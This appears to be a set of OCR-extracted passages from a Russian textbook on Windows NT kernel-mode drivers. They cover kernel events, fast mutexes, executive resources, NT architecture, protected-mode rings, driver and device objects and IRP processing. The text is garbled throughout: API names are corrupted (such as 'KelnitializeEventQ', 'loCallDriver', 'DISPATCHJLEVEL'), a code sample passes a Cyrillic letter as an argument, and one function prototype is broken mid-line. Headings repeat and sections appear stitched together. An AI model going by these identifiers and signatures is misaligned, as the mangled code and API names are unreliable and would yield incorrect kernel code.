    • События, при переводе которых в сигнальное состояние будет разблокирован только один поток, после чего событие автоматически переходит в не сигнальное состояние. Такие события носят название события синхронизации (synchronization events).

    • События, при переводе которых в сигнальное состояние будут разблокированы все ожидающие их потоки. Событие должно быть переведено в несигнальное состояние вручную. Такие события носят название оповещающих (notification event).

    Функции работы с событиями:

    1) KelnitializeEventQ инициализирует событие. Память под событие уже должна быть выделена. При инициализации указывается тип - синхронизация или оповещение, а также начальное состояние - сигнальное или несигнальное. Имя события задать нельзя. Функция может быть использована в случайном контексте памяти на уровне IRQL PASSIVE_LEVEL.

    2) IoCreateNotificationEvent(), IoCreateSynchronizationEvent() создают новое или открывает существующее событие с заданным именем. Если объект с таким именем существует, он открывается, если не существует, то создается. Имя события обычно указывается в директории диспетчера объектов «\BaseNamedObjects». Именно в этой директории содержатся имена событий, создаваемых или открываемых \?т32-функциями CreateEventQ/OpenEventQ.

    Функция возвращает как указатель на объект-событие, так и его описатель в таблице описателя текущего процесса. Для уничтожения объекта необходимо использовать функцию ZwCloseQ с описателем в качестве параметра. Описатель должен быть использован в контексте того процесса, в котором он был получен на уровне IRQL PASSIVE_LEVEL.

    3) KeClearEventQ и KeResetEvent() сбрасывают указанное событие в несигнальное состояние.


    Отличие между функциями в том, что KeResetEventQ возвращает состояние события до сброса. Функции могут быть вызваны на уровне IRQL меньшем или равном DISPATCHJLEVEL.

    4) KeSetEventQ переводит событие в сигнальное состояние и получает предыдущее состояние. Одним из параметров является логическая переменная, указывающая, будет ли за вызовом KeSetEventQ немедленно следовать вызов функции ожидания. Если параметр TRUE, то гарантируется, что вызов этих двух функций будет выполнен как одна операция.

    В случае событий оповещения сброс события в несигнальное состояние должен быть сделан вручную. Обычно это делает тот же код, который перевел событие в сигнальное состояние.

    Следующий код корректно уведомляет все блокированные потоки о наступлении ожидаемого ими события:

    KeSetEvent(&DeviceExt->Event, О, NULL);

    KeClearEvent(&DeviceExt->Event);

    2.4.5.2.5. Быстрые мыотексы

    Быстрый мьютекс являются урезанным вариантом мьютекса, который не может быть рекурсивно захвачен. Поскольку быстрый мьютекс не является диспетчерским объектом, он не может использоваться функцией KeWaitForSingleObjectQ или KeWaitForMultipleObjectsQ. Вместо этого нужно использовать функцию ExAcquireFast MutexQ. Эквивалента быстрым мьютексам на пользовательском уровне нет, поэтому они могут использоваться только для синхронизации кода режима ядра.

    Функции работы с быстрыми мьютексами:

    1) VOID ExInitializeFastMutex(IN PFAST_MUTEX FastMutex);

    2) VOID ExAcquireFastMutex(IN PFAST_MUTEX FastMutex);

    3) BOOLEAN ExTryToAcquireFastMutex(IN PFAST_MUTEX FastMutex);

    4) VOID ExReleaseFastMutex(IN PFAST_MUTEX FastMutex);

    5) VOID ExAcquireFastMutexUnsafe(IN PFAST_MUTEX FastMutex);

    6) VOID ExReleaseFastMutexUnsafe (IN PFAST_MUTEX FastMutex).

    2.4.5.3. Ресурсы Исполнительной системы

    Ресурсы являются вариантом быстрого мьютекса. Ресурсы не являются диспетчерскими объектами, поэтому они не могут иметь имя и использоваться в функции

    KeWaitForSingleObject() или KeWaitForMultipleObjectsQ. Ресурсы предоставляют две формы захвата:

    • Эксклюзивный - в этом случае ресурс ведет себя как обычный мьютекс - поток, который попытается захватить такой ресурс для эксклюзивного или совместного использования, будет блокирован.

    • Совместно используемый - в этом случае ресурс может быть одновременно захвачен для совместного использования любым числом потоков.

    Ресурсы идеально подходят для защиты структур данных, которые могут одновременно читаться несколькими потоками, но должны модифицироваться в каждый момент времени только одним потоком.

    Для работы с ресурсами существуют функции запроса эксклюзивного доступа, неэксклюзивного доступа и преобразования уже полученного неэксклюзивного доступа в эксклюзивный и, наоборот, без промежуточных операций освобождения ресурса и запроса нового режима доступа. Все функции должны вызываться на уровне IRQL меньшем DISPATCH_LEVEL.

    Функции работы с ресурсами:

    1) NTSTATUS ExInitializeResourceLite(IN PERESOURCE Resource);

    2) VOID ExReinitializeResourceLite(IN PERESOURCE Resource);

    3) BOOLEAN ExAcquireResourceExclusiveLite(IN PERESOURCE Resource^ BOOLEAN Wait);

    4) BOOLEAN ExTryToAcquireResourceExclusiveLite(IN PERESOURCE Resource);

    5) BOOLEAN ExAcquireResourceSharedLite(IN PERESOURCE Resource^ BOOLEAN Wait);

    6) BOOLEAN ExAcquireSharedStarveExclusive(IN PERESOURCE Resource^ BOOLEAN Waif);

    7) BOOLEAN ExAcquireSharedWaitForExclusive(IN PERESOURCE Resource,®* BOOLEAN Waif);

    8) VOID ExConvertExclusiveToSharedLite(IN PERESOURCE Resource);

    9) BOOLEAN ExIsResourceAcquiredExclusiveLite(IN PERESOURCE Resource);

    10) USHORT ExIsResourceAcquiredSharedLite(IN PERESOURCE Resource);

    11) ULONG ExGetExclusiveWaiterCount(IN PERESOURCE Resource);

    12) ULONG ExGetSharedWaiterCount(IN PERESOURCE Resource);

    13) NTSTATUS ExDeleteResourceLite(IN PERESOURCE Resource);

    14) VOID ExReleaseResourceForThreadLite(IN PERESOURCE Resource;

    15) IN ERESOURCEJTHREAD ResourceThreadld).

    2.4.5.4. Обобщенная таблица механизмов синхронизации

    В таблице 9 представлены механизмы синхронизации и особенности использования каждого из них.

    Модель модифицированного микроядра

    Модель модифицированного микроядра

    На NT иногда ссылаются как на операционную систему на основе микроядра (microkernel-based operating system). Идея, лежащая в основе концепции микроядра, состоит в том, что все компоненты ОС за исключением небольшой основы (собственно, микроядра) исполняются как процессы пользовательского режима. Базовые компоненты в микроядре исполняются в привилегированном режиме.

    Архитектура микроядра обеспечивает в системе возможность конфигурации и устойчивость к ошибкам. Поскольку подсистемы ОС типа Диспетчера Виртуальной Памяти исполняются как отдельные программы в архитектуре микроядра, их можно заменить различными реализациями, экспортирующими такой же интерфейс. Если в Диспетчере Виртуальной Памяти происходит ошибка, то, благодаря устойчивости к ошибкам в дизайне микроядра, операционная система может перезапустить его с минимальным воздействием на остальную систему.

    Недостаток чистой архитектуры микроядра - низкая производительность. Любое взаимодействие между компонентами ОС при такой схеме нуждается в межпроцессном сообщении с длительными переключениями между задачами.

    NT использует уникальный подход, известный как модифицированное микроядро. Он является промежуточным между чистым микроядром и монолитной структурой.

    При этом подходе в пользовательском режиме работают прикладные программы и набор подсистем, относящихся к одному из двух классов - подсистемы окружения и неотъемлемые подсистемы. Подсистемы и прикладные программы реализованы как процессы, однако способ создания подсистем и интеграции их с ОС не документирован.

    Подсистемы окружения предоставляют прикладным программам интерфейс программирования, специфичный для некоторых ОС (WIN32, POSIX, OS/2, DOS).

    Неотъемлемые подсистемы исполняют важные функции ОС. Среди таких подсистем - подсистема безопасности, служба рабочей станции и служба сервера.

    При выполнения задач, которые не могут быть выполнены в пользовательском режиме, все подсистемы ОС NT полагаются на системные сервисы, экспортируемые режимом ядра. Эти сервисы известны как «родной» API. Такой API состоит примерно из 250 функций, доступных через модуль ntdll.dll.

    Прикладная программа использует интерфейс программирования, предоставляемый какой-либо одной подсистемой окружения, либо использует напрямую собственный интерфейс программирования.

    В режиме ядра работает Исполнительная система NT (NT Executive). Она, сама по себе, является законченной ОС со своим интерфейсом программирования, как для пользовательского режима, так и для режима ядра.

    Исполнительная система состоит из набора подсистем, Микроядра и Слоя Абстрагирования от Оборудования (HAL). Подсистемы Исполнительной системы и Микроядро находятся в едином модуле - ntoskrnl.exe. Слой Абстрагирования от Оборудования находится в модуле hal.dll. Все загруженные системой драйверы также являются частью исполнительной системы.

    Каждый компонент исполнительной системы экспортирует набор функций для использования другими компонентами. Кроме того, каждый компонент исполнительной системы, за исключением диспетчера Кэша и Слоя Абстрагирования от Оборудования, реализует набор системных сервисов.




    Некоторые понятия защищенного режима

    Некоторые понятия защищенного режима

    Защищенный режим является основным и наиболее естественным режимом работы 32-разрядных процессоров. Этот режим был в полной мере реализован в процессорах серии i386 и с тех пор существенных изменений не претерпел.

    Защищенный режим 32-разрядных процессоров реализует поддержку следующих механизмов:
  • Организация памяти, при которой используются два механизма преобразования памяти: сегментация и разбиение на страницы.

  • Четырехуровневая система защиты пространства памяти и ввода/вывода.

  • Переключение задач.

  • Сегмент - это блок пространства памяти определенного назначения, внутри которого применяется линейная адресация. Максимальный размер сегмента при 32-разрядной адресации составляет 4 Гб (232 байт). Максимальное число таких сегментов равно 213 (8192). Сегмент может иметь произвольную длину в допустимых границах.

    Каждый сегмент характеризуется 8-байтной структурой данных - дескриптором сегмента, в котором, в числе прочего, указаны:
  • Права доступа, которые определяют возможность чтения, записи и исполнения сегмента.

  • Уровень привилегий (относится к четырехуровневой системе защиты).

  • На сегментации основана защита памяти. При этом не допускается:
  • использовать сегменты не по назначению (нарушение прав доступа);

  • обращаться к сегменту, не имея достаточных привилегий;

  • адресоваться к элементам, выходящим за границы сегмента.

  • Страничная организация памяти позволяет использовать большее пространство памяти. При этом базовым объектом памяти служит блок фиксированного размера 4 Кб.

    Физический адрес памяти, получаемый на выходе сегментного и страничного преобразования памяти, является 32-разрядным, позволяя адресовать, таким образом, до 4 Гб реально доступной физической памяти.

    Четырехуровневая система привилегий предназначена для управления использованием привилегированных инструкций, а также для защиты пространства памяти и ввода/вывода.

    Уровни привилегий нумеруются от 0 до 3, нулевой уровень соответствует максимальным (неограниченным) возможностям доступа и отводится для ядра ОС, Уровень 3 имеет самые ограниченные права и обычно предоставляется прикладным задачам.

    Систему защиты обычно изображают в виде колец, соответствующих уровням привилегий, а сами уровни привилегий иногда называют кольцами защиты.

    В зависимости от уровня привилегий осуществляется защита по доступу к привилегированным командам, по доступу к данным с более высоким уровнем привилегий и по передаче управления коду с уровнем привилегий, отличным от текущего.

    Защищенный режим предоставляет средства переключения задач. Состояние каждой задачи (значения всех связанных с ней регистров процессора) может быть сохранено в специальном сегменте состояния задачи. Там же хранится карта разрешения ввода/вывода, указывающая для каждого из 64К адресов портов ввода/вывода возможность обращения к нему.

    ОС NT использует два кольца защиты - 0 и 3, имея соответственно режим работы в 0 кольце - kernel mode, в 3 кольце — user mode.



    Необходимость в создании рабочих потоков

    Необходимость в создании рабочих потоков

    Любой исполняемый код, как и код драйвера, работает в контексте некоторого потока. Мы пока не обсуждали способы, с помощью которых драйвер может создать собственный поток, поэтому предполагается, что поток, в котором выполняется код драйвера, принадлежит некоторой прикладной программе. Это означает, что прикладная программа создала такой поток для выполнения своего кода, а не кода нашего драйвера. Если код драйвера производит длительную обработку, либо драйвер использует механизм синхронизации с ожиданием освобождения некоторого ресурса, код прикладной программы, для выполнения которого и создавался поток, не выполняется. Если этот поток единственный в прикладном процессе, то прикладная программа «висит».

    Если описанная ситуация имеет место в диспетчерской функции драйвера верхнего уровня, мы «всего лишь» «подвесили» прикладную программу, непосредственно взаимодействующую с драйвером. В этом случае прикладная программа знает о такой возможности, и может поместить операции взаимодействия с драйвером (чтение, запись, отправка кодов управления) в отдельный поток. В этом случае драйвер может не беспокоиться о прикладной программе. Однако, такая ситуация довольно редка. Очень часто код драйвера работает в контексте случайного потока, то есть любого произвольного потока в системе. Такой поток ничего не знает о нашем драйвере и вышеописанная ситуация неприемлема. В этом случае драйвер должен создать свой собственный поток, в котором и производить длительную обработку, либо ожидание освобождения ресурсов.

    Возможна другая ситуация, требующая обязательного создания потоков, когда драйверу необходимо выполнить операции на уровне IRQL меньшем DISPATCHJLEVEL, а код драйвера работает на повышенных уровнях IRQL, больших или равных DISPATCH_LEVEL.




    Неотъемлемые подсистемы

    Неотъемлемые подсистемы

    Другой тип защищенных подсистем - неотъемлемые подсистемы - это серверы, выполняющие важные функции ОС. Примером неотъемлемой подсистемы является подсистема защиты, исполняющаяся в пользовательском режиме и реализующая правила контроля доступа, определенные для локального компьютера. Некоторые компоненты сетевого обеспечения Windows NT также реализованы как защищенные подсистемы, например, сервис рабочей станции реализует API для доступа и управления сетевым редиректором.




    Независимость от архитектуры процессора

    Независимость от архитектуры процессора

    Микроядро и Слой Абстрагирования от Оборудования (HAL) изолируют подсистемы Исполнительной Системы от конкретной архитектуры процессора.

    Другой аспект независимости от архитектуры состоит в том, что правильно написанный драйвер (общающийся с внешним миром только посредством функций, предоставляемых различными компонентами исполнительной системы) переносим между всеми поддерживаемыми NT платформами на уровне исходных текстов.

    Микроядро OS Windows NT обеспечивает единый интерфейс для использования ресурсов, общих для определенной аппаратной платформы, на которой может работать OS. Например, микроядро обеспечивает интерфейсы к обработке и управлению прерываниями, сохранению и восстановлению контекста потоков и мультипроцессорной синхронизации.

    HAL обеспечивает поддержку и отвечает за предоставление стандартного интерфейса к ресурсам процессора, которые могут меняться в зависимости от модели внутри одного семейства процессоров. Возможность замены слоя HAL обеспечивает всем вышележащим слоям операционной системы независимость от аппаратной архитектуры.




    Объединение драйверов в стек

    Объединение драйверов в стек

    Для объединения драйверов в стек обычно используется функция loGetDeviceObject Pointer(). Функция вызывается драйвером вышележащего уровня для получения указателя на объект-устройство драйвера нижележащего уровня по его имени.

    Функция имеет следующий прототип:
    NTSTATUS loGetDeviceObjectPointer(

    IN PUNICODE_STRING ObjectName,

    IN ACCESS_MASK DesiredAccess,

    OUT PFILE_OBJECT FileObject,

    OUT PDEVICE_OBJECT DeviceObjct);
    Где:

    ObjectName - Имя требуемого Объекта-устройства;

    DesiredAccess - Требуемый доступ к указанному Объекту-устройству;

    FileObject - Указатель на Объект-файл, который будет использоваться для обращения к устройству;

    DeviceObject - Указатель на Объект-устройство с именем ObjectName.

    Функция IoGetDeviceObjectPointer() принимает имя Объекта-устройства, и возвращает указатель на Объект-устройство с этим именем. Функция работает, посылая запрос CREATE на названное устройство. Этот запрос будет неудачным, если никакого устройства по имени ObjectName не существует, или вызывающая программа не может предоставить доступ, указанный в параметре DesiredAccess. Если запрос CREATE успешен, создается Объект-файл, что увеличивает счетчик ссылок Объекта-устройства, с которым связан Объект-файл. Затем Диспетчер ввода/вывода искусственно увеличивает счетчик ссылок на Объект-файл на единицу, и посылает на устройство запрос CLOSE. В результате всего этого процесса, Объект-устройство (чей указатель возвращен в DeviceObject) не может быть удален, пока не обнулится счетчик ссылок соответствующего ему Объекта-файла. Таким образом, Объект-устройство нижнего уровня не может быть удален, в то время как драйвер вышележащего уровня имеет указатель на него.

    Выделим из всего вышесказанного, что функция предусматривает в качестве выходного параметра указатель на Объект-файл специально для того, чтобы при выгрузке стека драйверов освободить устройство нижележащего уровня. Это должно быть сделано в функции Unload драйвера вышележащего уровня с помощью вызова функции ObDereferenceObject ( FileObject).

    После получения указателя на объект-устройство драйвера нижележащего уровня, драйвер вышележащего уровня должен установить корректное значение полей Characteristics, StackSize, Flags и AlignmentRequirement своего объекта-устройства. Поля Characteristics, Flags и AlignmentRequirement объектов-устройств всех драйверов в стеке должны совпадать, а значение поля StackSize вышележащего устройства должно быть на 1 больше значения этого поля у нижележащего устройства.

    Объект-драйвер

    Объект-драйвер

    Драйверы скрыты от программ пользовательского режима. Устройства (физические, логические и виртуальные), создаваемые и управляемые драйверами, видны программам пользовательского режима как именованные файловые объекты. Как уже отмечалось ранее, код пользовательского режима может получить доступ к устройству только через описатель, возвращаемый менеджером ввода/вывода во время открытия/ создания файлового объекта, представляющего устройство. (В структуре FILE_OBJECT есть указатель на DEVICE_OBJECT, ассоциированный с данным файловым объектом.)

    Объект-драйвер представляет в системе некоторый драйвер Windows NT и хранит для диспетчера ввода/вывода адреса стандартных процедур (точки входа), которые драйвер может или должен иметь в зависимости от того, является ли он драйвером верхнего или нижнего уровней. Объект-драйвер описывает также, где драйвер загружен в физическую память и размер драйвера. Объект-драйвер описывается частично документированной структурой данных DRIVER_OBJECT.

    Диспетчер ввода/вывода определяет тип объект-драйвер и использует экземпляры этого типа для регистрации и отслеживания информации о загруженных образах драйверов. Этот объект создается менеджером ввода/вывода при загрузке драйвера в систему, после чего диспетчер вызывает процедуру инициализации драйвера DriverEntry и передает ей указатель на объект-драйвер. Эта процедура устанавливает стандартные и опциональные точки входа процедур драйвера, содержащиеся в структуре DRIVER_OBJECT, чтобы в дальнейшем диспетчер ввода/вывода мог направлять пакеты запроса ввода/вывода IRP соответствующей процедуре. В DriverEntry устанавливаются также точки входа для других процедур, например для Startlo, Unload. Во время инициализации также может происходить считывание информации в поля объекта-драйвера из базы данных реестра диспетчера конфигурации.

    Пакеты IRP, направляемые стандартным процедурам, содержат, кроме всего прочего, указатель на объект - устройство, который является устройством назначения для конкретного запроса ввода/вывода.

    Объект-драйвер является скрытым для кода пользовательского уровня, то есть только определенные компоненты уровня ядра (в том числе и диспетчер ввода/вывода) знают внутреннюю структуру этого типа объекта и могут получать доступ ко всем данным, содержащимся в объекте, напрямую.

    Microsoft не гарантирует неизменность недокументированных полей любых своих структур в последующих версиях ОС. Однако фактически, некоторые недокументированные в DDK элементы различных системных структур документированы в другом пакете для разработчика - IPS Kit.




    Объект-файл (файловый объект)

    Объект-файл (файловый объект)

    Код пользовательского режима может получить доступ к файлам на диске или всевозможным устройствам (физическим, логическим и виртуальным) только через описатели файловых объектов, обеспечиваемых менеджером ввода/вывода по запросу от пользовательской программы на открытие/создание файла или устройства. После открытия/создания виртуального файла, обозначающего любой источник или приемник ввода/вывода (работа с которым идет так, как если бы он был обычным файлом на диске), программы могут осуществлять ввод/вывод в этот виртуальный файл, манипулируя им посредством описателя.

    Итак, файловый объект - это объект, видимый из режима пользователя, который представляет всевозможные открытые источники или приемники ввода/вывода: файл на диске или устройство (физическое, логическое, виртуальное). Физическим устройством может быть, например, последовательный порт, физический диск; логическим -логический диск; виртуальным - виртуальный сетевой адаптер, именованный канал, почтовый ящик.

    Всякий раз, когда некоторый поток открывает файл, создается новый файловый объект с новым набором атрибутов. В любой момент времени сразу несколько файловых объектов могут быть ассоциированы с одним разделяемым виртуальным файлом, но каждый такой файловый объект имеет уникальный описатель, корректный только в контексте процесса, поток которого инициировал открытие файла. Возможны ситуации, когда два процесса имеют разные описатели, ссылающиеся на один и тот же файловый объект:
  • 1. когда процесс дублирует описатель файлового объекта для другого процесса;

  • 2. когда дочерний процесс наследует описатель от родительского.

  • Файловые объекты, как и другие объекты, имеют иерархические имена, охраняются объектной защитой, поддерживают синхронизацию и обрабатываются системными сервисами.



    Объект Секция

    Объект Секция

    Диспетчер Памяти в NT экспортирует единственную структуру для контроля данных - Объект-Секцию. Подобно другим объектам, Объект-Секция может быть именованным, то есть имя будет видимо в пространстве имен Диспетчера Объектов.

    Секция может быть использована драйвером для отображения участка памяти системного адресного пространства (в том числе невытесняемого) в пользовательское адресное пространство. В этом случае прикладная программа и драйвер получат в свое распоряжение совместно используемую область памяти, что может быть полезно, например, при необходимости передачи большого объема данных от драйвера к приложению.

    Секция используется для описания всего, что может быть отображено в память. Например, для каждого отображаемого в память файла создается объект-Секция. При этом, сколько бы не было открытий такого файла, объект-Секция всегда одна. Поскольку все исполняемые файлы загружаются посредством механизма отображения памяти, единственность объекта-секции всегда гарантирует наличие только одной копии такого файла в памяти.

    При создании секции указывается режим доступа (чтение/запись/исполнение). Этот режим доступа будет влиять на записи в таблице страниц, относящиеся к секции.

    Функции работы с секциями:
  • ZwOpenSection();

  • ZwMapViewOfSection();

  • ZwUnmapViewOfSection().





  • Объект-устройство

    Объект-устройство

    Диспетчер ввода/вывода определяет тип объекта - объект-устройство, используемый для представления физического, логического или виртуального устройства, чей драйвер был загружен в систему. Формат объекта-устройство определяется частично документированной структурой данных DEVICE_OBJECT. Хотя объект-устройство может быть создан в любое время посредством вызова функции loCreateDeviceQ, обычно он создается внутри DriverEntry.

    Объект-устройство описывает характеристики устройства, такие как требование по выравниванию буферов и местоположение очереди устройства, для хранения поступающих пакетов запросов ввода/вывода.

    Процедура инициализации драйвера DriverEntry создает по одному объекту-устройству для каждого устройства, управляемого данным драйвером, посредством вызова процедур, предоставляемых менеджером ввода/вывода. Процедура инициализации драйвера должна создавать, по крайней мере, один объект-устройство, некоторые драйверы должны создавать более одного объекта-устройства в зависимости от уровня, на котором они располагаются в цепочке драйверов.

    В каждом объекте-устройстве есть указатель на следующий объект-устройство (либо NULL) и указатель на объект-драйвер, управляющий Данным устройством. Благодаря этому диспетчер ввода/вывода может определить, процедуру какого драйвера он должен вызвать при получении запроса к устройству. Диспетчер ввода/вывода поддерживает также указатель на объект-устройство, созданный драйвером, в объекте-драйвере.

    Большинство драйверов NT используют структуру данных DeviceExtension, указатель на которую хранится в объекте-устройстве, а ее размер и содержимое определяется при создании объекта-устройства во время инициализации драйвера. Внутренняя структура DeviceExtension определяется разработчиками драйверов и используется для хранения информации о состоянии устройства, некоторого контекста текущего запроса ввода/вывода, для хранения указателей на описатели различных объектов ядра, то есть для хранения любых данных, которые нужны драйверу. Диспетчер ввода/вывода выделяет память под DeviceExtension из резидентной системной области памяти.

    Так как большинство процедур драйверов исполняются в контексте произвольного потока, то есть потока, оказавшегося текущим на момент вызова процедуры драйвера, то область DeviceExtension является одним из первых мест, где драйвер хранит необходимые ему данные.

    Объектная модель

    Объектная модель

    В исполнительной системе объект (object) - это отдельный образец статически определенного типа объектов, существующий во время выполнения. Тип объектов, иногда называемый классом объектов, включает определенный системой тип данных, объектные сервисы, работающие с образцами этого типа, и набор атрибутов объекта.

    Атрибут объекта - это поле данных внутри объекта, частично определяющее его состояние. Объектные сервисы - способы манипулирования объектами - обычно считывают или изменяют атрибуты объектов.

    Windows NT использует объекты для унификации представления и управления системными ресурсами. Каждый системный ресурс, который могут совместно использовать несколько процессов, такой, как файл, память или физическое устройство, реализован как объект и обрабатывается объектными сервисами. Доступ ОС к ресурсам и работа с ними унифицированы. Создание, удаление и ссылка на объект осуществляется с использованием описателей (handle) объектов. Контроль использования ресурсов сводится к отслеживанию создания и использования объектов. Для всех объектов контроль доступа к ним осуществляется одинаково с помощью подсистемы защиты. Два процесса совместно используют объект тогда, когда каждый из них открыл его описатель. ОС может отслеживать количество описателей, открытых для данного объекта, чтобы определить, действительно ли они все еще используется, и может удалить объекты, которые более не используются.




    Объекты - прерывания

    Объекты - прерывания

    Драйверам устройств необходим способ сообщения NT, что они хотят, чтобы исполнялась определенная функция, когда процессор получает прерывание, относящееся к их устройствам. Для этого драйверы устройств с помощью Диспетчера ввода/ вывода регистрируют функцию обработки прерывания (Interrupt Service Routine, ISR) посредством вызова функции loConnectlnterrupt. Параметры, передаваемые в loConnectlnterrupt описывают все свойства ISR драйвера, включая ее адрес, прерывание, к которому подключена ISR и то, могут ли другие устройства совместно использовать это же прерывание.

    Функция loConnectlnterrupt инициализирует объект-прерывание (Interrupt Object), для того чтобы хранить информацию о прерывании и подключенной ISR. loConnectlnterrupt программирует также аппаратуру прерываний для того, чтобы указывать код, который loConnectlnterrupt поместила в объект-прерывание. Таким образом, когда CPU получит прерывание, управление немедленно перейдет к коду в объек-те-прерывание. Этот код вызовет вспомогательную функцию обслуживания прерывания, KilnterruptDispatch, которая повысит уровень IRQL процессора, вызовет соответствующую ISR, и понизит IRQL до предыдущего значения. KilnterruptDispatch также получает спин-блокировку, индивидуальную для прерывания, и удерживает ее, пока выполняется ISR (см. раздел «Механизмы синхронизации»). Спин-блокировка гарантирует, что ISR не будет одновременно исполняться более чем на одном процессоре, а это может привести к печальным последствиям.

    В NT, ISR обычно не делает ничего, кроме чтения минимального количества информации из прерывающего устройства и подтверждения устройству того факта, что драйвер «увидел» прерывание. В других операционных системах ISR часто выполняют дополнительные обязанности, такие, как полная обработка прерывания путем чтения больших буферов данных, или записи больших буферов данных в устройство. Однако, одна из задач NT - минимизировать время, проводимое на повышенных уровнях IRQL, поэтому NT откладывает большую часть обслуживания прерывания до момента уменьшения уровня IRQL. Процедуры ISR запрашивают отложенный вызов процедур (Deferred Procedure Call, DPC) для информирования Диспетчера ВВОДА/ВЫВОДА о том, что у них имеется работа для исполнения на нижнем уровне IRQL. DPC - еще одна функция в драйвере, которую вызовет Диспетчер ввода/вывода после завершения ISR; DPC осуществляет почти все взаимодействие с устройством.

    Обобщенная таблица механизмов синхронизации

    Обобщенная таблица механизмов синхронизации

    В таблице 9 представлены механизмы синхронизации и особенности использования каждого из них.

    Обработка пакетов IRP в функции Startlo

    Обработка пакетов IRP в функции Startlo

    Как должна происходить обработка пакетов из системной очереди? Как уже говорилось, Startlo работает на уровне IRQL DISPATCHJLEVEL. Пока выполняется эта функция, ни один поток с более низким значением IRQL не может получить управление (если в системе один процессор). Следовательно, новые запросы ввода/ вывода от прикладных программ попасть в очередь не могут (потоки не выполняются). Если завершение очередного пакета ввода/вывода всегда происходит в функции Startlo, системная очередь всегда содержит не более одного пакета ввода/вывода. Если пакет ввода/вывода не может быть обработан в тот момент, когда он попал в функцию Startlo, функция просто должна завершиться, не завершая запрос ввода/ вывода и не вызывая IoStartNextPacket(). В этом случае устройство остается «занятым». Поле pDeviceObject->DeviceQueue.Busy все еще TRUE, а в поле pDevice-Object->CurrentIrp находится указатель на этот пакет IRP. Такой пакет может быть обработан, например, при поступлении прерывания от аппаратного устройства (или при возникновении другого ожидаемого события). Функция, которая завершит обработку такого пакета, обязана вызвать loStartNextPacket(), чтобы инициировать выборку очередного пакета из системной очереди. Заметим, что пока устройство остается «занятым», функция Startlo для обработки пакетов из системной очереди не может быть вызвана.

    Несмотря на простоту использования системной очереди, имеется существенное ограничение. Оно состоит в том, что очередь одна на все типы запросов ввода/вывода (чтение, запись, управление устройством), В каждый конкретный момент обрабатывается только какой-то один пакет IRP.

    Могут быть ситуации, когда такое ограничение неприемлемо. Классическим примером является драйвер полнодуплексного устройства, которое одновременно позволяет как отправлять, так и получать данные. В этом случае необходимо начать обработку следующего запроса чтения при завершении текущего запроса чтения, и следующего запроса записи при завершении текущего запроса записи. При этом важно понимать, что в этом случае одновременно (то есть в контекстах разных потоков) могут выполняться один запрос чтения и один запрос записи, Необходимы две очереди: одна - для запросов чтения, другая - для запросов записи.

    Обработка запросов IRP стеком драйверов

    Обработка запросов IRP стеком драйверов

    Запрос ввода/вывода приходит в виде пакета IRP самому верхнему драйверу в стеке драйверов (драйверу верхнего уровня). При этом возможны следующие варианты обработки IRP:
  • 1. Обработка IRP полностью в драйвере верхнего уровня.

  • 2. После выполнения своей части обработки IRP драйвер отправляет первоначальный пакет IRP драйверу нижележащего уровня.

  • 3. После выполнения своей части обработки IRP драйвер создае

  • т один или несколько новых пакетов IRP и отправляет их драйверу нижележащего уровня.

  • 4. После выполнения своей части обработки IRP драйвер создает один или несколько новых пакетов IRP, ассоциированных с первоначальным пакетом IRP, и отправляет их драйверу нижележащего уровня.

  • Все варианты, кроме последнего, возможны при обработке пакета IRP драйвером любого уровня. Последний вариант - создание ассоциированных пакетов IRP - возможен только при обработке IRP драйвером верхнего уровня.

    Самостоятельная обработка IRP драйвером. Если драйвер может завершить обработку пакетаIRP самостоятельно, он так и должен сделать. При этом обработка может быть завершена либо сразу при поступлении запроса ввода/вывода, либо после постановки запроса ввода/вывода в очередь.

    Примером немедленного завершения обработки пакета IRP драйвером может служить случай обнаружения некорректного параметра в IRP.

    Передача первоначального пакета IRP драйверу нижележащего уровня. Если драйвер не может самостоятельно обработать пакет IRP, он может передать его нижележащему драйверу. Для этого необходимо заполнить параметры в IRP в стеке размещения ввода/вывода, относящегося к нижележащему драйверу. Указатель на стек размещения ввода/вывода нижележащего драйвера возвращается функцией loGetNext IrpStackLocation(). После заполнения необходимых параметров IRP передается драйверу нижележащего уровня с помощью вызова функции IoCallDriver(). Прототип этой функции:
    NTSTATUS loCallDriver (IN PDEVICE_OBJECT DeviceObject, IN OUT PIRP Irp) ;
    Где:

    DeviceObject - указатель на объект-устройство, принадлежащий драйверу нижележащего уровня в стеке драйверов, которому должен быть послан запрос;

    IRP - указатель на IRP, который будет послан драйверу нижележащего уровня.

    При вызове функции IoCallDriver() Диспетчер ввода/вывода напрямую вызывает соответствующую диспетчерскую функцию требуемого драйвера. Это означает, что loCallDriver() завершится только после завершения соответствующей диспетчерской функции.

    Создание новых пакетов IRP для передачи драйверу нижележащего уровня. Вариантом передачиIRP драйверу нижележащего уровня является создание одного или нескольких новых пакетов IRP и передача этихIRP драйверу нижележащего уровня. Пакет IRP может быть создан драйвером различными способами, наиболее общим из которых является вызов функции IoAllocateIrp().

    PIRP loAllocatelrp (IN CCHAR StackSize, IN BOOLEAN ChargeQuota);

    Где: StackSize - Число Стеков размещения Ввода/вывода, требуемых в IRP;

    ChargeQuota - Указывает, должна ли квота текущего процесса быть загружена.

    Функция loAllocatelrp() возвращает частично инициализированный пакет IRP. По умолчанию, loAllocatelrp() предполагает, что вызванный драйвер не хочет иметь собственный Стек размещения Ввода/вывода. Драйвер, распределяющий IRP, может факультативно просить loAllocatelrp() создать IRP с достаточным количеством Стеков Размещения Ввода/вывода, которые он мог иметь один. В этом случае, драйвер должен вызвать IoSetNextIrpStackLocation() (макрокоманда в NTDDK.H), чтобы установить Стек Размещения. Драйвер может затем вызвать функцию loGetCurrentlrpStack Location().

    Причина, по которой драйверу может потребоваться свой собственный Стек Размещения Ввода /вывода состоит в том, что драйвер может использовать стек для передачи информации к подпрограмме завершения. Подпрограмма Завершения (Completion Routine) обсуждается позже в этом разделе.

    Как только IRP создан, драйвер может вызывать IoGetNextIrpStackLocation(), чтобы получить указатель на Стек размещения для драйвера нижележащего уровня в стеке драйверов. Затем драйвер заполняет параметры для Стека Ввода/вывода. Если для запроса требуется буфер данных, драйвер должен или установить MDL или SystemBuffer, как того требует используемый нижележащим драйвером способ передачи буферов в пакете IRP.

    Общая архитектура Windows NT

    Общая архитектура Windows NT

    В этой главе рассматриваются ключевые архитектурные особенности и характеристики ОС Windows NT. Эти сведения необходимы для получения представления о назначении различных компонентов ОС, их взаимодействии друг с другом, а также для ознакомления с терминологией, используемой в данной книге. Кроме того, знание общей архитектуры ОС позволяет понять, какие возможности операционной системы могут задействовать средства защиты, расположенные на том или ином уровне архитектуры ОС.

